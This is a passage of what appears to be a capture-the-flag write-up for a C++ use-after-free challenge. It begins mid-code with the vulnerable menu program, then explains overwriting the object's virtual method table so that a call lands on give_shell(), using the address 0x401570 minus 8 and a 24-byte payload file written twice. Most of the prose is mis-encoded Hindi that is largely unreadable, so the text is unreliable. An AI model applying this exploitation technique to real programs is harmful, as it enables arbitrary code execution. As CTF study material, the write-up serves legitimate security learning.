w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдорд╛рдирд╡ рд╡рд░реНрдЧ рд╕реЗ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рд╡рд░реНрдЧреЛрдВ рдХреА рджреЛ рд╡рд╕реНрддреБрдПрдВ рд╣реИрдВред рдЬрд┐рд╕рдХрд╛ рдПрдХ рдлрдВрдХреНрд╢рди рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдПрдХ рд╢реЗрд▓ рджреЗрддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдмрд╛рдж, рд╣рдо рддреАрди рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдордВрддреНрд░рд┐рдд рд╣реИрдВ:
- рдкреНрд░рджрд░реНрд╢рди рд╡рд╕реНрддреБ рдЬрд╛рдирдХрд╛рд░реА;
- рдкреНрд░реЛрдЧреНрд░рд╛рдо рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдЧреБрдЪреНрдЫрд╛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП;
- рдмрдирд╛рдИ рдЧрдИ рд╡рд╕реНрддреБ рдХреЛ рд╣рдЯрд╛рдПрдВред

рдЪреВрдВрдХрд┐ рдЗрд╕ рдХрд╛рд░реНрдп рдореЗрдВ UAF рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпреЛрдЬрдирд╛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП: рдмрдирд╛рдирд╛ - рд╣рдЯрд╛рдирд╛ - рдвреЗрд░ рдкрд░ рд▓рд┐рдЦрдирд╛ - рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред
рдПрдХрдорд╛рддреНрд░ рдХрджрдо рдЬрд┐рд╕ рдкрд░ рд╣рдорд╛рд░рд╛ рдкреВрд░рд╛ рдирд┐рдпрдВрддреНрд░рдг рд╣реИ, рд╡рд╣ рдвреЗрд░ рдХреЛ рд▓рд┐рдЦ рд░рд╣рд╛ рд╣реИред рд▓реЗрдХрд┐рди рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ рдХрд┐ рд╡реАрдПрдордЯреА рдЗрди рд╡рд╕реНрддреБрдУрдВ рдХреЗ рд▓рд┐рдП рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдЬреЛ рд╣рдореЗрдВ рд╢реЗрд▓ рджреЗрддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдордиреЗ рд╕рдордЭрд╛ рдХрд┐ рд╡реАрдПрдордЯреА рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдкрддреЗ рдХреЗ рд╕рдВрдХреЗрдд рдПрдХ рдХреЗ рдмрд╛рдж рдПрдХ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рддреНред
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) рдЖрджрд┐ред
рдЪреВрдВрдХрд┐ VMT рдореЗрдВ рдкрд╣рд▓рд╛ рдлрд╝рдВрдХреНрд╢рди give_shell () рд╣реЛрдЧрд╛, рдФрд░ рдЬрдм рдлрд╝рдВрдХреНрд╢рди рдореИрди :: рдкрд░рд┐рдЪрдп () рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ VMT рдХрд╛ рджреВрд╕рд░рд╛ рдкрддрд╛ рдкрддрд╛ рджрд░реНрдЬ рд╣реЛрдЧрд╛ред 64-рдмрд┐рдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП: * рдкрд░рд┐рдЪрдп = * give_shell + 8. рд╣рдо рдЗрд╕рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВрдЧреЗ:

рд▓рд╛рдЗрди рдореЗрди + 272 рд╣рдорд╛рд░реА рдзрд╛рд░рдгрд╛ рдХреЛ рд╕рд╛рдмрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдзрд╛рд░ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдкрддрд╛ 8 рд╕реЗ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИред
рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдЖрдзрд╛рд░ рдкрддреЗ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП EAX рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рджреЗрдЦреЗрдВред



рд╣рдореЗрдВ рдЖрдзрд╛рд░ рдкрддрд╛ рдорд┐рд▓рд╛: 0x0000000000401570 рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╢реЗрд▓ рдХреЗ рдмрдЬрд╛рдп, рд╣рдореЗрдВ 8 рдореЗрдВ рдХрдореА рдХрд░рдХреЗ, рдПрдбреНрд░реЗрд╕__рд╢реЗрд▓ () рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛, рддрд╛рдХрд┐ рдЗрд╕реЗ рд╡реАрдПрдордЯреА рдмреЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд┐рдпрд╛ рдЬрд╛рдП, рдЬрдмрдХрд┐ 8 рд╕реЗ рдмрдврд╝рддреЗ рд╣реБрдП, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдиреЗ рд╣рдореЗрдВ рдПрдХ рд╢реЗрд▓ рджрд┐рдпрд╛ред

рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЬрд┐рд╕реЗ рд╡рд╣ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрдврд╝рддрд╛ рд╣реИ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдоред рдбреЗрдЯрд╛ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдереЛрдбрд╝рд╛ рд░рд╣рддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдПрдХ рдореБрдХреНрдд рдмреНрд▓реЙрдХ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдПрдХ рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЙрд╕ рдмреНрд▓реЙрдХ рдХрд╛ рдЖрдХрд╛рд░ рдЬреНрдЮрд╛рдд рдХрд░реЗрдВ рдЬреЛ рдПрдХ рд╡рд╕реНрддреБ рдкрд░ рдХрдмреНрдЬрд╛ рдХрд░рддрд╛ рд╣реИред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ 0x18 = 24 рдмрд╛рдЗрдЯ рдЖрд░рдХреНрд╖рд┐рдд рд╣реИрдВред рдпрд╣реА рд╣реИ, рд╣рдореЗрдВ 24 рдмрд╛рдЗрдЯреНрд╕ рд╡рд╛рд▓реА рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд░рдЪрдирд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдЪреВрдВрдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рджреЛ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдореБрдХреНрдд рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рджреЛ рдмрд╛рд░ рдбреЗрдЯрд╛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред

рд╣рдореЗрдВ рд╢реЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИ, рдЭрдВрдбрд╛ рдкрдврд╝реЗрдВ, рд╣рдореЗрдВ 8 рдЕрдВрдХ рдорд┐рд▓рддреЗ рд╣реИрдВред

рдЖрдк
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд▓реА рдмрд╛рд░ рд╣рдо рдПрд▓рд╛рдЗрди рдореЗрдореЛрд░реА рд╕реЗ рдирд┐рдкрдЯреЗрдВрдЧреЗред